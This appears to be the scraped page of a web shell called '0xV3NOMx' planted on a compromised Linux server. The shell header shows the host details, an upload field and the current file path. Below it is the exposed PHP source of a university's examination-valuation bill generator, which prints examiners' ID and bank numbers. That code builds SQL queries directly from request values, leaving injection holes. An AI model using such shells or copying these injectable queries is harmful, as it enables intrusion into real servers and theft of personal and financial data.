0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.216.92.5


Current Path : /var/www/html/univadmin/tdvsreports/
Upload File :
Current File : /var/www/html/univadmin/tdvsreports/generatebill.php

<?php
$main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7);
$pdf_writer_class = $main_src . "/tcpdf/tcpdf.php";
require_once $pdf_writer_class;
ini_set('max_execution_time', '300');
include('getnumword.php');
// ini_set('memory_limit','900M');
// ini_set('max_execution_time',0);

class MYPDF extends TCPDF
{
    public function Header($resbill)
    {

        // get the current page break margin
        $bMargin = $this->getBreakMargin();
        // get current auto-page-break mode
        $auto_page_break = $this->AutoPageBreak;
        // disable auto-page-break
        $this->SetAutoPageBreak(false, 0);
        $this->SetTitle("VALUATION BILL");

        // set bacground image
        $this->SetFillColor(248, 248, 255);
        $img_path = $this->aobj_context->main_src . "/img/".$this->aobj_context->FUNIVCODE."_logo.jpg";
        
        if (file_exists($img_path)) {
            $this->Image($img_path, 6, 6, 25, 25);
        }

        $this->SetFont('Times', 'B', 14);
        $this->SetY(5);
        $this->Cell(0, 7, $this->aobj_context->FUNIVNAME, 0, 1, 'C');
        //state
        $this->SetFont('Times', 'B', 11);
        $this->Cell(0, 4, $this->aobj_context->s_state, 0, 1, 'C');

        $this->SetFont('Times', 'B', 12);
        if($this->aobj_context->FUNIVCODE == '033' || $this->aobj_context->FUNIVCODE == '040')
        {
            $this->Cell(0, 7, 'REMUNERATION BILL', '0', 1, 'C');
        }else
            $this->Cell(0, 7, 'TRAVELLING ALLOWANCE AND REMUNERATION BILL', '0', 1, 'C');
        

        // restore auto-page-break status
        $this->SetAutoPageBreak($auto_page_break, $bMargin);
        // set the starting point for the page content
    }

    public function Footer()
    {
        $this->SetY(-15);
        $this->SetFont('helvetica', 'I', 8);
        // var_dump();
        if($this->CurOrientation == 'P')
        {
            $this->Cell(60, 10, 'IP : ' . $_SERVER["REMOTE_ADDR"], 0, 0, 'L');
            $this->Cell(60, 10, 'Date : ' . date("d-m-Y h:i:s A"), 0, 0, 'C');
            $this->Cell(60, 10, 'Page ' . $this->getPageNumGroupAlias() . '/' . $this->getPageGroupAlias(), 0, 1, 'R');
        }
        else {
            $this->Cell(90, 10, 'IP : ' . $_SERVER["REMOTE_ADDR"], 0, 0, 'L');
            $this->Cell(90, 10, 'Date : ' . date("d-m-Y h:i:s A"), 0, 0, 'C');
            $this->Cell(90, 10, 'Page ' . $this->getPageNumGroupAlias() . '/' . $this->getPageGroupAlias(), 0, 1, 'R');
        }
    }
}

class ReprtObject
{

    public function DefaultConstructor($aobj_context)
    {
        $this->aobj_context = $aobj_context;
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

        $this->ip = $_SERVER["REMOTE_ADDR"];
        $get_date = "select DATE_FORMAT(now(), '%d/%m/%Y') as now_date";
        $obj = $this->aobj_context->mobj_db->GetRow($get_date);
        $this->reportType = $aobj_context->mobj_data["rtype"];

        $get_coll_name = "select FUNIVNAME as FUNIVNAME,FUNIVCODE,
		FUNIVADD1 as state, pdf_logo_path,
		ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control";
        $lobj_get_coll_name = $aobj_context->pobj_db->GetRow($get_coll_name);
// var_dump($lobj_get_coll_name);
// die();
        $aobj_context->FUNIVNAME = $lobj_get_coll_name['FUNIVNAME'];
        $aobj_context->s_state = $lobj_get_coll_name['state'];
        $aobj_context->pdf_logo_path = $lobj_get_coll_name['pdf_logo_path'];
        $aobj_context->FUNIVCODE = $lobj_get_coll_name['FUNIVCODE'];

        $this->current_date = $obj['now_date'];
        $deggrp = $this->aobj_context->mobj_data["deggrp"];

       $get_coll_name = "select concat(fdeggrp, ' - ', fdescpn) as fdeggrp 
        from deggrp where fdeggrp = '{$deggrp}'";
        $lobj_get_degree = $this->aobj_context->pobj_db->GetRow($get_coll_name);
        
        $aobj_context->deggrp = $lobj_get_degree['fdeggrp'];
        $this->pdf = new MYPDF('P');
        $this->pdf->aobj_context = $aobj_context;
    }

    

    public function Report($res3,$result1,$res2,$admfee,$resbill)
    {
        $pdf = $this->pdf;
        $pdf->SetMargins(15, 25);
        $pdf->startPageGroup();
        $pdf->AddPage("P");
        
        
        $pdf->SetFont('Times','B',13);
        $pdf->Cell(0, 5,$resbill['fexamdate'].' EXAMINATION', '0', 1, 'C');
        $pdf->ln(3);
        $pdf->SetFont('Times','',10);

        // if($res3 == 'INTERNAL'){

        //     $pdf->SetFont('Times','BU',15);
        //     $pdf->Cell(0, 7, 'There is no Bill for Internal Examiners', '0', 1, 'C');
        //     return;

        // }



        ;

        if($this->aobj_context->FUNIVCODE == '040')
        {
            $table1 = '<style>
            td {
            border: 0.5px solid black;
            }
            .lable {
            font-weight: bold;
            }
            </style>
            <table cellpadding="3" cellspacing="0">
            <tr nobr="true">
            <td width="135" style="text-align: left;"><b>Bill No</b></td>

            <td width="165" style="text-align: left;">'.$resbill['fbillno'].'</td>

            <td width="105" style="text-align: left;"><b>Bill Date</b></td>
            <td width="135" style="text-align: left;">'.$this->current_date.'</td>


            </tr>';
        }else
        {
            $table1 = '<style>
            td {
            border: 0.5px solid black;
            }
            .lable {
            font-weight: bold;
            }
            </style>
            <table cellpadding="3" cellspacing="0">
            <tr nobr="true">
            <td width="135" style="text-align: left;"><b>Bill No</b></td>

            <td width="165" style="text-align: left;">'.$resbill['fbillno'].'</td>

            <td width="105" style="text-align: left;"><b>Bill Date</b></td>
            <td width="135" style="text-align: left;">'.$resbill['fbilldate'].'</td>


            </tr>';
        }

    // <td width="105" style="text-align: left;"><b>Status</b></td>
    // <td width="135" style="text-align: left;">'.$res3['fscale'].'</td>

    $table1 .='<tr nobr="true">
    <td width="135" style="text-align: left;"><b>Teacher Name</b></td>
    
    <td width="405" style="text-align: left;">'.$res3['fteachname'].'</td>
    
    

    
</tr>';

$table1 .='<tr nobr="true">
    <td width="135" style="text-align: left;"><b>Examiner Type</b></td>
    
    <td width="165" style="text-align: left;">'.$res3['FEXAMINER'].'</td>
    
    <td width="105" style="text-align: left;"><b>Board</b></td>
    <td width="135" style="text-align: left;">'.$res3['fboard'].'</td>

    
</tr>';


if($this->aobj_context->FUNIVCODE == '040')
{
    $table1 .='<tr nobr="true">
        <td width="135" style="text-align: left;"><b>Department</b></td>
        
        <td width="405" style="text-align: left;">'.$res3['FDEPTCODE'].'</td>
        
    </tr>';
    $table1 .='<tr nobr="true">
        <td width="135" style="text-align: left;"><b>College</b></td>
        
        <td width="405" style="text-align: left;">'.$res3['FCOLLEGE'].'</td>
        
    </tr>';
}


$table1 .='<tr nobr="true">
    <td width="135" style="text-align: left;"><b>Address</b></td>
    
    <td width="405" style="text-align: left;">'.$res3['faddress'].'</td>
    
</tr>';

$table1 .='<tr nobr="true">
<td width="135" style="text-align: left;"><b>Mobile No</b></td>

<td width="165" style="text-align: left;">'.$res3['fmobile'].'</td>

<td width="105" style="text-align: left;"><b>E Mail</b></td>
<td width="135" style="text-align: left;">'.$res3['femail'].'</td>


</tr>';

$table1 .='<tr nobr="true">
<td width="135" style="text-align: left;"><b>PAN No</b></td>

<td width="165" style="text-align: left;">'.$res3['fpanno'].'</td>

<td width="105" style="text-align: left;"><b>Aadhar No</b></td>
<td width="135" style="text-align: left;">'.$res3['faadharno'].'</td>


</tr>';

$table1 .='<tr nobr="true">
<td width="135" style="text-align: left;"><b>Bank Account No</b></td>

<td width="165" style="text-align: left;">'.$res3['faccno'].'</td>

<td width="105" style="text-align: left;"><b>IFSC Code</b></td>
<td width="135" style="text-align: left;">'.$res3['fifsccode'].'</td>


</tr>';

if($this->aobj_context->FUNIVCODE == '040')
{
    $table1 .='<tr nobr="true">
    <td width="135" style="text-align: left;"><b>Date of Valuation</b></td>
    
    <td width="405" style="text-align: left;">'.$res3['fvaldates'].'</td>
    
</tr>';
}

    $table1 .= '</table>';

    $pdf->SetX(11);
    
    $pdf->writeHTML($table1, false, true, false, false, 'L');

        $pdf->ln(3);
        $pdf->SetFont('Times', 'B', 13);
        if($this->aobj_context->FUNIVCODE == '033')
        {
            $pdf->Cell(0, 5, 'HONORARIUM / DAILY ALLOWANCE', '0', 1, 'C');
        }else if($this->aobj_context->FUNIVCODE == '027')
        {
            $pdf->Cell(0, 5, 'Details of Allowance (HOA : 5204)', '0', 1, 'C');
        }else if($this->aobj_context->FUNIVCODE == '040')
        {
            $pdf->Cell(0, 5, 'Details of Remuneration', '0', 1, 'C');
        }
        else
        {
            $pdf->Cell(0, 5, 'Details of Allowance', '0', 1, 'C');
        }

        
        
        $pdf->SetFont('Times', '', 14);

		$pdf->SetFont('Times','',10);
		$x = $pdf->GetX();
		$y = $pdf->GetY();		
		$pdf->writeHTMLCell(188,0,$x,$y,$html, false,1, false, true, '', false);

        


$totrem = $res2['fremunration'] + $res2['rfremunration'];

if($this->aobj_context->FUNIVCODE == '040')
{
    if($totrem <$res2['FMINAMOUNT'])
        $totrem = $res2['FMINAMOUNT'];
}

$total = ($totrem) + ($result1['fdaallow']) - ($res2['ftax']);

$i = 1;

   

        
        $table1 = '<style>
        td {
            border: 0.5px solid black;
        }
        .lable {
            font-weight: bold;
        }
     </style>
    <table cellpadding="3" cellspacing="0">
        <tr nobr="true">
            <td width="35" style="text-align: center;"><b>Sl.No.</b></td>
            <td width="170" style="text-align: center;"><b>Particulars</b></td>
            <td width="50" style="text-align: center;"><b>Amount</b></td>
            <td width="290" style="text-align: center;"><b>Remarks</b></td>
    </tr>';


    $strrem = "Remuneration";
    if($this->aobj_context->FUNIVCODE == '040')
        $strrem = "Paper Valuation";

    $revier = '<br>Scripts Reviewed:&nbsp;'.$res2['rvaluated'].',&nbsp;('.$res2['rvaluated'].'x'.$res2['FREMUNERATION1'].')';
    if($this->aobj_context->FUNIVCODE == '040')
        $revier = "";

    $totamtinwords = getNumber($total);
    if($res2['80m'] >0) 
        $res2['FREMUNERATION1'] = $res2['FREMUNERATION1']; 
    else $res2['FREMUNERATION1'] = $res2['FREMUNERATION2'];

    $table1 .='<tr nobr="true">
    <td width="35" style="text-align: center;">'.$i.'</td>
    <td width="170">'.$strrem.'</td>
    <td width="50" style="text-align: right;">'.moneyFormatIndia($totrem).'</td>
    <td width="290" >Scripts Valuated:&nbsp;'.$res2['valuated'].',&nbsp;('.$res2['valuated'].'x'.
    $res2['FREMUNERATION1']
    .')'.$revier.'</td>
</tr>';



if($result1['fdaallow'] == '0'){
    
  }else{
    $table1 .='<tr nobr="true">
    <td width="35" style="text-align: center;">'.(++$i).'</td>
    <td width="170">Dearness Allowance</td>
    <td width="50" style="text-align: right;">'.moneyFormatIndia($result1['fdaallow']).'</td>
    <td width="290" >No. of Days : '.$result1['daycnt'].', Add. Days : 0 ('.$result1['FDAAMT'].' X '.$result1['daycnt'].')</td>
    </tr>';

  }

  if($this->aobj_context->FUNIVCODE != '033' && $this->aobj_context->FUNIVCODE != '040') 
  {
    $table1 .='<tr nobr="true">
    <td width="35" style="text-align: center;">'.(++$i).'</td>
    <td width="170">Tax</td>
    <td width="50" style="text-align: right;">-'.moneyFormatIndia($res2['ftax']).'</td>
    <td width="290" >Tax (on Remuneration) </td>
    </tr>';
  }

$table1 .='<tr nobr="true">
<td width="205" rowspan="2" style="text-align: center;">Total</td>

<td width="50" style="text-align: right;">'.moneyFormatIndia($total).'</td>
<td width="290" >'.$totamtinwords.'</td>
</tr>';

   

    $table1 .= '</table>';

    $pdf->SetX(11);
    
    $pdf->writeHTML($table1, false, true, false, false, 'L');


    if($this->aobj_context->FUNIVCODE == '033')
    {
        $totamtwrds =  $total;
        $totamtinwords = getNumber($totamtwrds);

        // var_dump($totamtinwords);
        $pdf->ln(2);
        $pdf->SetFont('Times','',11);
        $pdf->Cell(30, 5,'Amount in Words: ',0, 0, 'L');
        $pdf->SetFont('Times','BU',11);
        $pdf->Cell(0, 5,trim($totamtinwords),0, 1, 'L');
        $pdf->ln(2);
        $pdf->SetFont('Times','',10);

		$str = "Certified that :
        I)   Particulars provided herewith are correct & I have not claimed TA/DA/CA for this journey/purpose from any other source.
        II)  I was not provided lodging and / or Boarding at the cost of Govt. College (Autonomous), Kalaburagi.
        III) I have travelled by shortest route.

        The above Meeting / Journey claim is verified to be true & correct                 Signature of the Claimant
                
        Sign & Name of the Chairman / Custodian";
	
		$pdf->SetFont('Times','',12);
		$pdf->MultiCell(186,4,$str,1,'L');



        $pdf->ln(6);
        $pdf->SetFont('Times','B',13);

        $pdf->Cell(200, 5,'FOR USE BY ACCOUNTS OFFICE ONLY',0, 1, 'C');
        $pdf->ln(2);

        $pdf->SetFont('Times','',10);

		$str = " 
        Head of Account.....................................Passed for Ra.....................Vide Vr. No...............Dated.............. 

        (In words.....................................................................................................................................................) 
		
		Section Clerk                                                                                                                              Principal";
	
		$pdf->SetFont('Times','',12);
		$pdf->MultiCell(186,4,$str,1,'L');
    }else
    {

        $pdf->Ln(3); 
        $pdf->SetFont('Times', '', 9);

        $pdf->Cell(0, 5, '1. Certified that this amount is not claimed in any of the previous bills.', '0', 1, 'L');
        $pdf->Cell(0, 5, '2. Certified that the order copy and attendance certificate is enclosed.', '0', 1, 'L');
        $pdf->Cell(0, 5, '3. I do hereby declare that the information mentioned above is correct & true.', '0', 1, 'L');
        

        // $html = "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1. Certified that this amount is not claimed in any of the previous bills.<br>
        // &nbsp;&nbsp;&nbsp;2. Certified that the order copy and attendance certificate is enclosed.<br>
        // &nbsp;&nbsp;&nbsp;3. I do hereby declare that the information mentioned above is correct & true.";
        // $x = $pdf->GetX();
        // $y = $pdf->GetY();
        // $pdf->writeHTMLCell(180,0,$x,$y,$html, false,1, false, true, '', false);


        $x = $pdf->GetX();
        $y = $pdf->GetY();
        $pdf->Rect($x-5,$y+13,192,40,'D');
            $pdf->Ln(5); 
            $pdf->SetFont('Times','B',11);
            $pdf->Cell(50,7,'Sign. of the Valuator',0,0,'L');

            $pdf->Cell(80,7,'Sign. of the Chairman',0,0,'C');
            // $pdf->Ln(12); 
            // $pdf->SetFont('
            $pdf->Cell(60,7,'Sign. of the Chief Custodian',0,1,'R');
            $pdf->ln(5);
            $pdf->SetFont('Times', 'BU', 15);
            $pdf->Cell(0, 5, 'For Examination Section Use Only', 0, 1, 'C');

            $pdf->ln(5);
            $pdf->SetFont('Times', '', 11);
            $pdf->Cell(0, 5, 'Payment of Rs.___________ (In Words)___________________________ is approved on ________________.', '0', 1, 'L');

        // $html = "Payment of Rs.______________________ (In Words)________________ is approved on ________________.</p>";
        $x = $pdf->GetX();
        $y = $pdf->GetY();
        // $pdf->writeHTMLCell(180,0,$x,$y,$html, false,1, false, true, '', false);


        $pdf->Ln(5); 
        $pdf->SetFont('Times','B',11);
        
        $pdf->Cell(180,5,'Asst. Reg. / Dy. Reg. / Registrar (Evaluation)',0,1,'R');

        $x = $pdf->GetX();
        $y = $pdf->GetY();


        $pdf->Rect( $x-5,$y+10,192,35,'D');
        $pdf->ln(10);
        $pdf->SetFont('Times', 'BU', 15);
        $pdf->Cell(0, 5, 'For Finance Section Use Only', '0', 1, 'C');

        $pdf->ln(5);
        $pdf->SetFont('Times', '', 11);
        $pdf->Cell(0, 7, 'Payment of Rs.___________(In Words)______________________________ is passed on ________________.', '0', 1, 'L');

    // $html = "Payment of Rs.______________________(In Words)___________________ is passed on ________________.</p>";
    $x = $pdf->GetX();
    $y = $pdf->GetY();
    // $pdf->writeHTMLCell(180,0,$x,$y,$html, false,1, false, true, '', false);


    $pdf->Ln(5); 
    $pdf->SetFont('Times','B',11);


    $pdf->Cell(180,7,'Asst. Reg. / Dy. Reg. / Finance Officer',0,1,'R');


    $x = $pdf->GetX();
    $y = $pdf->GetY();


    $pdf->Ln(2); 
    $pdf->SetFont('Times','BU',12);

    $pdf->Cell(180,9,'Note:',0,1,'L');



    $pdf->SetFont('Times','',9);

    if($this->aobj_context->FUNIVCODE == '040')
    {
        $html = "<br>  01.&nbsp;&nbsp;The amount paid as per this bill is subjected to the final decision
        of the finance section.<br>
        02.&nbsp;&nbsp;PAN number is must for receiving remuneration. The tax amount deducted should be submitted to the Income <br>&nbsp;&nbsp;Tax office before the due date.<br>
        03.&nbsp;&nbsp;30% remuneration amount may be deducted from the total amount if the Valuator fails to submit the PAN number and only TA and <br>&nbsp;&nbsp;DA may be paid.<br>
        04.&nbsp;&nbsp;The amount will be recovered, If audit objections are raised.";
    }else
    {
        $html = "<br>01.&nbsp;&nbsp;The amount paid as per this bill is subjected to the final decision
        of the finance section.<br>
        02.&nbsp;&nbsp;PAN number is must for receiving remuneration. The tax amount deducted should be submitted to the Income &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Tax office before the due date.<br>
        03.&nbsp;&nbsp;20% remuneration amount may be deducted from the total amount if the Valuator fails to submit the &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PAN number and only TA and DA may be paid.<br>
        04.&nbsp;&nbsp;The amount will be recovered, If audit objections are raised.";
    }

    $x = $pdf->GetX();
    $y = $pdf->GetY();
    $pdf->writeHTMLCell(180,0,$x,$y,$html, false,1, false, true, '', false);

    
    }
        

    }       

    public function SendOutput()
    {
        // ob_end_clean();
        $this->pdf->Output("VALUATION_BILL.pdf", "I");
    }
}

function moneyFormatIndia($num)
{
    $explrestunits = "";
    if (strlen($num) > 3) {
        $lastthree = substr($num, strlen($num) - 3, strlen($num));
        $restunits = substr($num, 0, strlen($num) - 3); // extracts the last three digits
        $restunits = (strlen($restunits) % 2 == 1) ? "0" . $restunits : $restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping.
        $expunit = str_split($restunits, 2);
        for ($i = 0; $i < sizeof($expunit); $i++) {
            // creates each of the 2's group and adds a comma to the end
            if ($i == 0) {
                $explrestunits .= (int) $expunit[$i] . ","; // if is first value , convert into integer
            } else {
                $explrestunits .= $expunit[$i] . ",";
            }
        }
        $thecash = $explrestunits . $lastthree;
    } else {
        $thecash = $num;
    }
    return $thecash; // writes the final format where $currency is the currency symbol.
}

function generatebill($aobj_context)
{
    $univcode = $aobj_context->mobj_data["univcode"];
    $fdegreegrp = $aobj_context->mobj_data["fdegreegrp"];
    $fboard = $aobj_context->mobj_data["fboard"];
    $fvalno = $aobj_context->mobj_data["fvalno"];
    $teachrngfrm = $aobj_context->mobj_data["teachrngfrm"];
    $teachrngto = $aobj_context->mobj_data["teachrngto"];
    $type = $aobj_context->mobj_data["type"];
    $fteachcode = $aobj_context->mobj_data["fteachcode"];
    $year = $aobj_context->mobj_data["year"];
    $examtype = $aobj_context->mobj_data["examtype"];

    // var_dump($univcode);
    // die();

    if($fteachcode == '90001')
        $fteachcode = '16902';

if($type == 'T'){
    $query_teach = "select distinct ifnull(t.fteachcode,'') as fteachcode,
    ts.fyear,ts.fexamtype,
    dg.FEXAMDATE
    from tdvs_masteach t 
    inner join tdvs_tabsum ts on t.fteachcode = ts.fteachcode 
    inner join tdvs_masqp m on m.fqpcode = ts.fqpcode  
    inner join tdvs_deggrp dg on m.fdeggrp = dg.fdeggrp
    where t.fteachcode = '{$fteachcode}'
    and ifnull(t.fbill,'F') = 'T'
    union
    select distinct ifnull(t.fteachcode,'') as fteachcode,
    ts.fyear,ts.fexamtype,
    dg.FEXAMDATE
    from tdvs_masteach t 
    inner join tdvs_tabsum ts on t.fteachcode = ts.frevcode 
    inner join tdvs_masqp m on m.fqpcode = ts.fqpcode
    inner join tdvs_deggrp dg on m.fdeggrp = dg.fdeggrp  
    where ts.frevcode = '{$fteachcode}'
    and ifnull(t.fbill,'F') = 'T'
    and ifnull(ts.fbillno,'') = ''
    ";
    // var_dump($query_teach);
    // die();

}else{
    $query_teach = "select distinct ifnull(t.fteachcode,'') as fteachcode,
    dg.FEXAMDATE
    from tdvs_masteach t 
    inner join tdvs_tabsum ts on t.fteachcode = ts.fteachcode 
    inner join tdvs_masqp m on m.fqpcode = ts.fqpcode  
    inner join tdvs_deggrp dg on m.fdeggrp = dg.fdeggrp
    where t.fteachcode between '{$teachrngfrm}' and '{$teachrngto}'
    and m.fdeggrp = '{$fdegreegrp}'
    and m.fboard = '{$fboard}'
    and ts.fyear='{$year}' and ts.fexamtype='{$examtype}'
    and ifnull(ts.fbillno,'') = ''
    and ifnull(t.fbill,'F') = 'T'";
    // var_dump($query_teach);
    // die();
}

$res_teach = $aobj_context->pobj_db->GetAll($query_teach);

    
    $class_obj = new ReprtObject();
    $class_obj->univcode = $univcode;
    $class_obj->DefaultConstructor($aobj_context);

    if($res_teach)
    {

    }else
    {
        $class_obj->Report("INTERNAL","INTERNAL","INTERNAL","INTERNAL","INTERNAL");
    }


    foreach($res_teach as $key => $value){

        $teachrngfrm = $value['fteachcode'];
        $FEXAMDATE = $value['FEXAMDATE'];
        
        if($type == 'T')
        {
            $year = $value['fyear'];
            $examtype = $value['fexamtype'];
        }

        $query = "select distinct d.fdeggrp,now() as fbilldate,ts.fteachcode,ts.fyear,ts.fexamtype,
        d.fexamdate
        from tdvs_tabsum ts inner join tdvs_masqp m on ts.fqpcode = m.fqpcode
        inner join tdvs_deggrp d on d.fdeggrp = m.fdeggrp
        where ts.fteachcode = '{$teachrngfrm}' and ts.fyear = '{$year}' 
        and ts.fexamtype = '{$examtype}'";
        $ressumbill = $aobj_context->pobj_db->GetRow($query);

        if($ressumbill)
        {

        }else
        {
            $query = "select distinct d.fdeggrp,now() as fbilldate,ts.frevcode as fteachcode,
            ts.fyear,ts.fexamtype,
            d.fexamdate
            from tdvs_tabsum ts inner join tdvs_masqp m on ts.fqpcode = m.fqpcode
            inner join tdvs_deggrp d on d.fdeggrp = m.fdeggrp
            where ts.frevcode = '{$teachrngfrm}' and ts.fyear = '{$year}' 
            and ts.fexamtype = '{$examtype}'";
            
            $ressumbill = $aobj_context->pobj_db->GetRow($query);
        }

        $fdeggrp = $ressumbill['fdeggrp'];
        $fbilldate = $ressumbill['fbilldate'];
        $fteachcode = $ressumbill['fteachcode'];
        $fyear = $ressumbill['fyear'];
        $fexamtype = $ressumbill['fexamtype'];
        $fexamdate = $ressumbill['fexamdate'];



   $qry = "INSERT IGNORE INTO tdvs_tadabill (fdeggrp,fbilldate,fteachcode,fyear,fexamtype,fexamdate)
   values('{$fdeggrp}',now(),'{$fteachcode}','{$fyear}','{$fexamtype}','{$fexamdate}')";

   $result = $aobj_context->pobj_db->Execute($qry);


   $qrybill = "select ifnull(d.fyear,'') as fyear,ifnull(d.fexamtype,'') as fexamtype,
   ifnull(d.fexamdate,'') as fexamdate , b.fbillno, date_format(fbilldate,'%d/%m/%Y') as fbilldate
   from tdvs_tabsum ts inner join tdvs_masqp m on ts.fqpcode = m.fqpcode
   inner join tdvs_deggrp d on d.fdeggrp = m.fdeggrp
   inner join tdvs_tadabill b on ts.fteachcode = b.fteachcode and ts.fyear = b.fyear 
   and ts.fexamtype = b.fexamtype
   where b.fteachcode = '{$teachrngfrm}' and ts.fyear =  '{$year}' 
   and ts.fexamtype = '{$examtype}'";

   $resbill = $aobj_context->pobj_db->GetRow($qrybill);

   if($resbill)
   {

   }else
   {
    $qrybill = "select ifnull(d.fyear,'') as fyear,ifnull(d.fexamtype,'') as fexamtype,
    ifnull(d.fexamdate,'') as fexamdate , b.fbillno, date_format(fbilldate,'%d/%m/%Y') as fbilldate
    from tdvs_tabsum ts inner join tdvs_masqp m on ts.fqpcode = m.fqpcode
    inner join tdvs_deggrp d on d.fdeggrp = m.fdeggrp
    inner join tdvs_tadabill b on ts.frevcode = b.fteachcode and ts.fyear = b.fyear 
    and ts.fexamtype = b.fexamtype
    where b.fteachcode = '{$teachrngfrm}' and ts.fyear =  '{$year}' 
    and ts.fexamtype = '{$examtype}'";
 
    $resbill = $aobj_context->pobj_db->GetRow($qrybill);
   }

    $query1 = "select  d.FDAAMT,
    count(distinct date_format(fdate,'%Y-%m-%d')) as daycnt,(count(distinct date_format(fdate,'%Y-%m-%d'))*d.FDAAMT) as fdaallow
    from tdvs_tabsum s inner join tdvs_masqp m on s.fqpcode = m.fqpcode
    inner join tdvs_deggrp d on m.fdeggrp = d.fdeggrp
    where ifnull(fstatus,'') = 'final' and fteachcode = '{$teachrngfrm}'";

    $result1 = $aobj_context->pobj_db->GetRow($query1);
   
    $boardcnd = "and m.fboard = '{$fboard}'"; 
    $boardcnd1 = "and mq.fboard = '{$fboard}'"; 
    
    if($fboard ==NULL)
    {    
        $boardcnd = "";
        $boardcnd1 = "";
    }

    $query2 = "select sum(a.valuated) as valuated,ifnull(c.rvaluated,0) as rvaluated,
    ifnull(c.rfremunration,0) as rfremunration, ifnull(c.r40m,0) as r40m,
    ifnull(c.r80m,0) as r80m,
    sum(a.fremunration) as fremunration,sum(a.40) as 40m,
    sum(a.80) as 80m,
    a.FMINAMOUNT,
    round(((sum(a.fremunration)+ifnull(c.rfremunration,0))*a.ftax)) as ftax,a.FREMUNERATION1,a.FREMUNERATION2
    from (select d.fdeggrp,d.FREMUNERATION1,d.FREMUNERATION2,d.FMINAMOUNT,
    d.ftax as ftax,
    count(distinct s.fregcode,s.fvalno) as valuated,
    (count(distinct s.fregcode,s.fvalno)*
    if(ifnull(m.fhours,'3') = '3',d.FREMUNERATION1,d.FREMUNERATION2)) as fremunration,
    sum(if(ifnull(m.fhours,'3') = '3',1,0)) as '80',
    sum(if(ifnull(m.fhours,'3') < '3',1,0)) as '40'
    from tdvs_tabsum s inner join tdvs_masqp m on s.fqpcode = m.fqpcode
    inner join tdvs_deggrp d on m.fdeggrp = d.fdeggrp
    where ifnull(fstatus,'') = 'final' and fteachcode = '{$teachrngfrm}'
    and s.fyear = '{$year}' and s.fexamtype = '{$examtype}'
    {$boardcnd}
    group by m.fqpcode
    order by m.fhours) a, 
            (select sum(b.rvaluated) as rvaluated,sum(b.fremunration) as rfremunration,
            sum(b.40) as r40m, sum(b.80) as r80m
            from (select d.fdeggrp,d.FREMUNERATION1,d.FREMUNERATION2,
    d.ftax as ftax,
    count(distinct s.fregcode) as rvaluated,
    (count(distinct s.fregcode)*
    if(ifnull(m.fsmaxmarks,'80') = '40',d.FREMUNERATION2,d.FREMUNERATION1)) as fremunration,
    sum(if(ifnull(m.fsmaxmarks,'') = '40',1,0)) as '40',
    sum(if(ifnull(m.fsmaxmarks,'') = '40',0,1)) as '80'
    from tdvs_tabsum s inner join tdvs_masqp m on s.fqpcode = m.fqpcode
    inner join tdvs_deggrp d on m.fdeggrp = d.fdeggrp
    where ifnull(frevstatus,'') = 'final' and frevcode = '{$teachrngfrm}'
    and s.fyear = '{$year}' and s.fexamtype = '{$examtype}'
    group by m.fqpcode)b) c";
    // var_dump($query2);
    // die();
    $res2 = $aobj_context->pobj_db->GetRow($query2);

    
    $query3 = "select concat(m.fteachcode,' - ',ifnull(fteachname,'')) as fteachname,ifnull(fscale,'') as fscale,
    CONCAT(ifnull(faddress1,''),' ',ifnull(faddress2,''),' ',ifnull(faddress3,''),' ',ifnull(faddress4,'')) as faddress, 
    ifnull(faadharno,'') as faadharno,
    ifnull(fpanno,'') as fpanno,ifnull(faccno,'') as faccno,ifnull(fifsccode,'') as fifsccode,ifnull(femail,'') as femail,
    ifnull(fmobile,'') as fmobile,ifnull(mq.fboard,'') as fboard,
    ifnull(m.FDEPTCODE,'') as FDEPTCODE,  ifnull(m.FCOLLEGE,'') as FCOLLEGE,
    ifnull(fbankname,'') as fbankname,ifnull(FEXAMINER,'') as FEXAMINER,
    group_concat(distinct date_format(s.FENDATE,'%d/%m/%Y') order by s.FENDATE SEPARATOR ', ') as fvaldates 
	from tdvs_masteach m inner join tdvs_tabsum s on m.fteachcode = s.fteachcode
    join tdvs_masqp mq on s.fqpcode = mq.fqpcode
    where  m.fteachcode = '{$teachrngfrm}'
    {$boardcnd1}
    group by m.fteachcode";
    $res3 = $aobj_context->pobj_db->GetRow($query3);

    if($res3)
    {

    }else
    {
        $query3 = "select concat(m.fteachcode,' - ',ifnull(fteachname,'')) as fteachname,ifnull(fscale,'') as fscale,
        CONCAT(ifnull(faddress1,''),' ',ifnull(faddress2,''),' ',ifnull(faddress3,''),' ',ifnull(faddress4,'')) as faddress, 
        ifnull(faadharno,'') as faadharno,
        ifnull(fpanno,'') as fpanno,ifnull(faccno,'') as faccno,ifnull(fifsccode,'') as fifsccode,ifnull(femail,'') as femail,
        ifnull(fmobile,'') as fmobile,ifnull(mq.fboard,'') as fboard,
        ifnull(m.FDEPTCODE,'') as FDEPTCODE,  ifnull(m.FCOLLEGE,'') as FCOLLEGE,
        ifnull(fbankname,'') as fbankname,ifnull(FEXAMINER,'') as FEXAMINER,
        group_concat(distinct date_format(s.FENDATE,'%d/%m/%Y') order by s.FENDATE SEPARATOR ', ') as fvaldates 
        from tdvs_masteach m inner join tdvs_tabsum s on m.fteachcode = s.frevcode
        join tdvs_masqp mq on s.fqpcode = mq.fqpcode
        where  m.fteachcode = '{$teachrngfrm}'
        {$boardcnd1}
        group by m.fteachcode";
        $res3 = $aobj_context->pobj_db->GetRow($query3);
    }

    // var_dump($query3);
    // die();
    
        $class_obj->Report($res3,$result1,$res2,$admfee,$resbill);

    }
    
    $class_obj->SendOutput();

}